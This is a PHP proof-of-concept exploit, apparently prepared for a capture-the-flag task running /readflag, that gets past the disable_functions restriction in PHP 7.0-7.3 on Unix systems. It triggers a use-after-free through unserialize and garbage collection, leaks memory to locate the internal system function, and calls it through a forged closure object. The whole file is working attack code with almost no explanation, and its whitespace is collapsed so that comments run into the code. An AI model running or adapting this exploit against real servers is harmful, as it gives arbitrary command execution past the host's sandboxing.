<?php# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)## Bug: https://bugs.php.net/bug.php?id=72530## This exploit should work on all PHP 7.0-7.3 versions## Author: https://github.com/mm0r1pwn("/readflag");//这里要修改到readflag的路径来来执行这个文件functionpwn($cmd){global$abc,$helper;functionstr2ptr(&$str,$p=0,$s=8){$address=0;for($j=$s-1;$j>=0;$j--){$address<<=8;$address|=ord($str[$p+$j]);}return$address;}functionptr2str($ptr,$m=8){$out="";for($i=0;$i<$m;$i++){$out.=chr($ptr&0xff);$ptr>>=8;}return$out;}functionwrite(&$str,$p,$v,$n=8){$i=0;for($i=0;$i<$n;$i++){$str[$p+$i]=chr($v&0xff);$v>>=8;}}functionleak($addr,$p=0,$s=8){global$abc,$helper;write($abc,0x68,$addr+$p-0x10);$leak=strlen($helper->a);if($s!=8){$leak%=2<<($s*8)-1;}return$leak;}functionparse_elf($base){$e_type=leak($base,0x10,2);$e_phoff=leak($base,0x20);$e_phentsize=leak($base,0x36,2);$e_phnum=leak($base,0x38,2);for($i=0;$i<$e_phnum;$i++){$header=$base+$e_phoff+$i*$e_phentsize;$p_type=leak($header,0,4);$p_flags=leak($header,4,4);$p_vaddr=leak($header,0x10);$p_memsz=leak($header,0x28);if($p_type==1&&$p_flags==6){# PT_LOAD, PF_Read_Write# handle pie$data_addr=$e_type==2?$p_vaddr:$base+$p_vaddr;$data_size=$p_memsz;}elseif($p_type==1&&$p_flags==5){# PT_LOAD, PF_Read_exec$text_size=$p_memsz;}}if(!$data_addr||!$text_size||!$data_size)returnfalse;return[$data_addr,$text_size,$data_size];}functionget_basic_funcs($base,$elf){list($data_addr,$text_size,$data_size)=$elf;for($i=0;$i<$data_size/8;$i++){$leak=leak($data_addr,$i*8);if($leak-$base>0&&$leak-$base<$data_addr-$base){$deref=leak($leak);# 'constant' constant checkif($deref!=0x746e6174736e6f63)continue;}elsecontinue;$leak=leak($data_addr,($i+4)*8);if($leak-$base>0&&$leak-$base<$data_addr-$base){$deref=leak($leak);# 'bin2hex' constant checkif($deref!=0x786568326e6962)continue;}elsecontinue;return$data_addr+$i*8;}}functionget_binary_base($binary_leak){$base=0;$start=$binary_leak&0xfffffffffffff000;for($i=0;$i<0x1000;$i++){$addr=$start-0x1000*$i;$leak=leak($addr,0,7);if($leak==0x10102464c457f){# ELF headerreturn$addr;}}}functionget_system($basic_funcs){$addr=$basic_funcs;do{$f_entry=leak($addr);$f_name=leak($f_entry,0,6);if($f_name==0x6d6574737973){# systemreturnleak($addr+8);}$addr+=0x20;}while($f_entry!=0);returnfalse;}classryat{var$ryat;var$chtg;function__destruct(){$this->chtg=$this->ryat;$this->ryat=1;}}classHelper{public$a,$b,$c,$d;}if(stristr(PHP_OS,'WIN')){die('This PoC is for *nix systems only.');}$n_alloc=10;# increase this value if you get segfaults$contiguous=[];for($i=0;$i<$n_alloc;$i++)$contiguous[]=str_repeat('A',79);$poc='a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';$out=unserialize($poc);gc_collect_cycles();$v=[];$v[0]=ptr2str(0,79);unset($v);$abc=$out[2][0];$helper=newHelper;$helper->b=function($x){};if(strlen($abc)==79||strlen($abc)==0){die("UAF failed");}# leaks$closure_handlers=str2ptr($abc,0);$php_heap=str2ptr($abc,0x58);$abc_addr=$php_heap-0xc8;# fake valuewrite($abc,0x60,2);write($abc,0x70,6);# fake referencewrite($abc,0x10,$abc_addr+0x60);write($abc,0x18,0xa);$closure_obj=str2ptr($abc,0x20);$binary_leak=leak($closure_handlers,8);if(!($base=get_binary_base($binary_leak))){die("Couldn't determine binary base address");}if(!($elf=parse_elf($base))){die("Couldn't parse ELF header");}if(!($basic_funcs=get_basic_funcs($base,$elf))){die("Couldn't get basic_functions address");}if(!($zif_system=get_system($basic_funcs))){die("Couldn't get zif_system address");}# fake closure object$fake_obj_offset=0xd0;for($i=0;$i<0x110;$i+=8){write($abc,$fake_obj_offset+$i,leak($closure_obj,$i));}# pwnwrite($abc,0x20,$abc_addr+$fake_obj_offset);write($abc,0xd0+0x38,1,4);# internal func typewrite($abc,0xd0+0x68,$zif_system);# internal func handler($helper->b)($cmd);exit();}